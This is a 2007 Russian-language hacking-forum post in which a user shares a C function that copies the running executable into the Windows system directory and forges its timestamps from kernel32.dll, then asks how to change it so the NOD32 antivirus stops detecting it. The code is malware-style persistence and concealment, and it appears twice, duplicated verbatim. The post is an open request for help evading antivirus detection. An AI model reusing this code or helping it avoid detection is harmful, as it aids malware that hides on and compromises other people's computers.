razzzar
02.07.2007, 20:25
Функция копирует ехе процесса в системную директорию. Мой нод32 ее палит. помогите испарвить, чтобы не ловилась.
// ---------------- [ Copy to system directory ] -------------- //
int CopyToSysDir(char * szBuff)
{
char szExe[256], szNewExe[256], szSysDir[256], szKernl[256], szCurDir[256];
HANDLE hFile;
FILETIME aTime, bTime, cTime;
if ( GetModuleFileName(NULL, szExe, 256) == 0 )
return 0;
if ( GetSystemDirectory(szSysDir, 256) == 0 )
return 0;
if ( GetCurrentDirectory(256, szCurDir) == 0 )
return 0;
if ( (strcmp(szSysDir, szCurDir) == 0) && (strcmp(szExe, EXE_NAME) == 0) )
return 0;
lstrcpy(szNewExe, szSysDir);
lstrcat(szNewExe, "\\");
lstrcat(szNewExe, EXE_NAME);
if ( CopyFile(szExe, szNewExe, FALSE) == 0 ) // палится в этом месте
return 0;
lstrcpy(szKernl, szSysDir);
lstrcat(szKernl, "\\");
lstrcat(szKernl, KERNEL32_DLL);
hFile = CreateFile(szKernl, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ( hFile != INVALID_HANDLE_VALUE )
{
GetFileTime(hFile, &aTime, &bTime, &cTime);
CloseHandle(hFile);
}
else
return 0;
hFile = CreateFile(szNewExe, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ( hFile != INVALID_HANDLE_VALUE )
{
SetFileTime(hFile, &aTime, &bTime, &cTime);
CloseHandle(hFile);
}
else
return 0;
memcpy(szBuff, szNewExe, 256);
return 1;
}
// ---------------- [ Copy to system directory ] -------------- //
int CopyToSysDir(char * szBuff)
{
char szExe[256], szNewExe[256], szSysDir[256], szKernl[256], szCurDir[256];
HANDLE hFile;
FILETIME aTime, bTime, cTime;
if ( GetModuleFileName(NULL, szExe, 256) == 0 )
return 0;
if ( GetSystemDirectory(szSysDir, 256) == 0 )
return 0;
if ( GetCurrentDirectory(256, szCurDir) == 0 )
return 0;
if ( (strcmp(szSysDir, szCurDir) == 0) && (strcmp(szExe, EXE_NAME) == 0) )
return 0;
lstrcpy(szNewExe, szSysDir);
lstrcat(szNewExe, "\\");
lstrcat(szNewExe, EXE_NAME);
if ( CopyFile(szExe, szNewExe, FALSE) == 0 ) // палится в этом месте
return 0;
lstrcpy(szKernl, szSysDir);
lstrcat(szKernl, "\\");
lstrcat(szKernl, KERNEL32_DLL);
hFile = CreateFile(szKernl, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ( hFile != INVALID_HANDLE_VALUE )
{
GetFileTime(hFile, &aTime, &bTime, &cTime);
CloseHandle(hFile);
}
else
return 0;
hFile = CreateFile(szNewExe, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ( hFile != INVALID_HANDLE_VALUE )
{
SetFileTime(hFile, &aTime, &bTime, &cTime);
CloseHandle(hFile);
}
else
return 0;
memcpy(szBuff, szNewExe, 256);
return 1;
}